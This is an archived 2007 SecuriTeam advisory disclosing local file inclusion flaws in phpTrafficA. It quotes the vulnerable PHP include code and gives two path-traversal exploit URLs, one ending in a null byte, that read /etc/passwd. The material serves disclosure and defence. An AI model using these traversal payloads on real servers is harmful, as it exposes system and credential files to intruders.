

[UNIX] phpTrafficA Local File Inclusion

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-02/msg00074.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 22 Feb 2007 13:17:28 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

phpTrafficA Local File Inclusion

SUMMARY

<<http://soft.zoneo.net/phpTrafficA/>> phpTrafficA is "a GPL statistical tool for web traffic analysis, written in php and mySQL. It can track access counts to your website, search engines, keywords, and referrers that lead to you, operating systems, web browsers, visitor retention, path analysis, and a lot more". Input passed to the "file" parameter in "plotStat.php" and "lang" parameter in "banref.php" is not properly verified, before it is used to include files. This can be exploited to include/see arbitrary files from local resources.

DETAILS

Vulnerable Systems:

- * phpTrafficA version 1.4.1
- * phpTrafficA version 1.4beta4

Vulnerable Code:

Code found inside phpTrafficA/plotStat.php:

```
//Vulnerable Code :line 14
if (!isset($file) or $file=="") {$file = $_GET['file'];}
include("./Php/phplot.php");
```

[UNIX] phpTrafficA Local File Inclusion

```
include("./tmp/".$file);
```

Code found inside phpTrafficA/plotStat.php:

```
//Vulnerable Code :line 16
if (!isset($lang) or $lang == "") {
$lang = $_GET["lang"];
if ($lang == "") { $lang = $_POST["lang"];}
}
include ("./Lang/$lang.php");
```

Exploit:

The following URL will cause local file inclusion

[http://\[HOST\]/phpTrafficA/plotStat.php?file=../../../../../../../../etc/passwd](http://[HOST]/phpTrafficA/plotStat.php?file=../../../../../../../../etc/passwd)

[http://\[HOST\]/phpTrafficA/banref.php?lang=../../../../../../../../etc/passwd%00](http://[HOST]/phpTrafficA/banref.php?lang=../../../../../../../../etc/passwd%00)

ADDITIONAL INFORMATION

The information has been provided by <<mailto:bugtraq.ir@xxxxxxxxxx>>

bugtraq ir.

The original article can be found at:

<<http://www.bugtraq.ir/articles/file-inclusion/phpTrafficA-1.4.1-Local-File-Inclusion/1>>

<http://www.bugtraq.ir/articles/file-inclusion/phpTrafficA-1.4.1-Local-File-Inclusion/1>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.